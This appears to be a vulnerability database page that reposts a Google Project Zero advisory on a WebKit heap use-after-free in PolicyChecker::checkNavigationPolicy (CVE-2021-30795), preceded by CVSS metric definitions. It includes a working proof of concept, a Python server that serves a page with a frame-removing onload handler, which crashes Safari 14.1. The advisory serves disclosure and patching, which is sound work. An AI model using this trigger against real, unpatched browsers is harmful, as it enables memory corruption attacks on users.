The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: WebKit WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy Heap Use-After-Free
WebKit: heap-use-after-free in WebCore::FrameLoader::PolicyChecker::checkNavigationPolicy
VULNERABILITY DETAILS
PolicyChecker.cpp:
```
#define IS_ALLOWED (m_frame.page() ? m_frame.page()->sessionID().isAlwaysOnLoggingAllowed() : false)
#define PAGE_ID (m_frame.loader().pageID().valueOr(PageIdentifier()).toUInt64())
#define FRAME_ID (m_frame.loader().frameID().valueOr(FrameIdentifier()).toUInt64())
#define RELEASE_LOG_IF_ALLOWED(fmt, ...) RELEASE_LOG_IF(IS_ALLOWED, Loading, \"%p - [pageID=%\" PRIu64 \", frameID=%\" PRIu64 \"] PolicyChecker::\" fmt, this, PAGE_ID, FRAME_ID, ##__VA_ARGS__)
[...]
void FrameLoader::PolicyChecker::checkNavigationPolicy(ResourceRequest&& request, const ResourceResponse& redirectResponse, DocumentLoader* loader, RefPtr<FormState>&& formState, NavigationPolicyDecisionFunction&& function, PolicyDecisionMode policyDecisionMode)
{
[...]
if (!isAllowedByContentSecurityPolicy(request.url(), m_frame.ownerElement(), !redirectResponse.isNull())) {
if (m_frame.ownerElement()) {
// Fire a load event (even though we were blocked by CSP) as timing attacks would otherwise
// reveal that the frame was blocked. This way, it looks like any other cross-origin page load.
m_frame.ownerElement()->dispatchEvent(Event::create(eventNames().loadEvent, Event::CanBubble::No, Event::IsCancelable::No));
}
RELEASE_LOG_IF_ALLOWED(\"checkNavigationPolicy: ignoring because disallowed by content security policy\");
function(WTFMove(request), { }, NavigationPolicyDecision::IgnoreLoad);
return;
}
```
FrameLoader.cpp:
```
[...]
Optional<PageIdentifier> FrameLoader::pageID() const
{
return client().pageID();
}
```
FrameLoaderClient.h:
```
class WEBCORE_EXPORT FrameLoaderClient {
[...]
virtual Optional<PageIdentifier> pageID() const = 0;
virtual Optional<FrameIdentifier> frameID() const = 0;
}
```
`PolicyChecker` is owned by `FrameLoader`, which is in turn owned by the reference-counted class `Frame`. When a load is being blocked by CSP, `PolicyChecker` fires an event in `checkNavigationPolicy()`. A malicious JS event handler can drop all references to the frame and cause the associated `PolicyChecker` to be destroyed. When the execution returns to `checkNavigationPolicy()`, the invocation of `RELEASE_LOG_IF_ALLOWED` will access freed memory, including the vtable calls `pageID()` and `frameID()` on an invalid `FrameLoaderClient` pointer.
REPRODUCTION CASE
Visit http://localhost:8000/
```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
html_source = b'''
<body>
<script>
frame = document.createElement('iframe');
frame.onload = () => frame.remove();
frame.src = '/redirect';
document.body.appendChild(frame);
</script>
</body>
'''
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/redirect':
self.send_response(302)
self.send_header('Location', 'http://example.com/')
self.end_headers()
else:
self.send_response(200)
self.send_header('Content-Security-Policy', 'frame-src localhost:8000')
self.end_headers()
self.wfile.write(html_source)
HTTPServer((\"127.0.0.1\", 8000), Handler).serve_forever()
```
VERSION
WebKit r277716
Safari 14.1 (16611.1.21.161.6)
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-08-24.
Related CVE Numbers: CVE-2021-30795.
Found by: [email protected]